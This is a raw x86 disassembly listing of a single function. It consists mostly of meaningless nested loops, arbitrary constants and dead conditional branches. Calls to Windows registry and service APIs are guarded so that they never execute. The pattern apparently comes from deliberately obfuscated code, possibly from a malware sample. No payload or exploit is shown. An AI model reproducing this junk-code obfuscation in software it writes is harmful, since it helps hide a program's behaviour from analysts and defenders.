jmp 0x1001f0bd
cmp dword [ebp + 0x10], 0
jne 0x1001f0a0
mov ecx, dword [ebp + 0xc]
call fcn.10002e48
mov dword [ebp - 0x2f4], eax
jmp 0x1001f0aa
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x2f4], eax
push dword [ebp - 0x2f4]
push dword [ebp + 8]
call fcn.10017146
pop ecx
pop ecx
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x540]
call fcn.10002fca
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4ec]
call fcn.10022ee9
mov eax, dword [ebp - 0x48]
jmp 0x1001f3f6
mov dword [ebp - 0x4c], 0xecb45710
mov dword [ebp - 0x174], 0
jmp 0x1001f103
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 4
jge 0x1001f11f
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0x40c], 0x841b3c69
jmp 0x1001f0f6
mov dword [ebp - 0x4c], 0
jmp 0x1001f12f
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jg 0x1001f3d3
mov dword [ebp - 0x84], 1
mov dword [ebp - 0x8c], 0xfffffff9
mov dword [ebp - 0x38c], 0xc87a9b65
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x40c]
mov dword [ebp - 0x4d4], eax
mov dword [ebp - 0x84], 0
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x4c]
test eax, eax
jne 0x1001f194
cmp dword [ebp - 0x84], 0
jne 0x1001f194
and dword [ebp - 0x2fc], 0
jmp 0x1001f19e
mov dword [ebp - 0x2fc], 1
mov eax, dword [ebp - 0x4c]
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x4c]
or edx, 0xffffffff
sub edx, dword [ebp + ecx*4 - 0x40c]
cmp edx, dword [ebp + eax - 0x40c]
jle 0x1001f1c9
mov dword [ebp - 0x304], 1
jmp 0x1001f1d0
and dword [ebp - 0x304], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x84], 0
jmp 0x1001f1f5
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 3
jg 0x1001f3ce
mov dword [ebp - 0xb0], 1
mov dword [ebp - 0x8c], 0
jmp 0x1001f225
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jg 0x1001f3c9
mov dword [ebp - 0xd0], 1
mov dword [ebp - 0xd0], 3
jmp 0x1001f255
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jl 0x1001f3c4
mov dword [ebp - 0x17c], 0x6ff609d7
mov dword [ebp - 0x31c], 0x2b357f03
mov dword [ebp - 0x17c], 0
jmp 0x1001f28f
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 3
jg 0x1001f3bf
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0x40c]
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x4c], 0xffffffff
jg 0x1001f2c1
mov dword [ebp - 0x30c], 1
jmp 0x1001f2c8
and dword [ebp - 0x30c], 0
cmp dword [ebp - 0x30c], 0x34a2c930
jl 0x1001f2e0
mov dword [ebp - 0x314], 1
jmp 0x1001f2e7
and dword [ebp - 0x314], 0
mov eax, dword [ebp - 0xb0]
add eax, dword [ebp - 0x314]
mov dword [ebp - 0x31c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x40c]
cmp eax, dword [ebp - 0x31c]
jle 0x1001f319
mov dword [ebp - 0x1d4], 1
jmp 0x1001f320
and dword [ebp - 0x1d4], 0
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0x40c]
cmp dword [ebp - 0x1d4], eax
jge 0x1001f341
mov dword [ebp - 0x1d8], 1
jmp 0x1001f348
and dword [ebp - 0x1d8], 0
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x38c], eax
mov dword [ebp - 0xb0], 0
jmp 0x1001f36d
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jg 0x1001f3ba
mov byte [ebp - 0x90], 0
movzx eax, byte [ebp - 0x90]
test eax, eax
je 0x1001f3a6
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 0xd0]
cmp dword [ebp + eax*4 - 0x40c], 0
je 0x1001f3b8
jmp 0x1001f360
jmp 0x1001f360
jmp 0x1001f282
jmp 0x1001f248
jmp 0x1001f218
jmp 0x1001f1e8
jmp 0x1001f128
mov byte [ebp - 0x8e], 0
movzx eax, byte [ebp - 0x8e]
test eax, eax
je 0x1001f3f4
push 0x1e4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret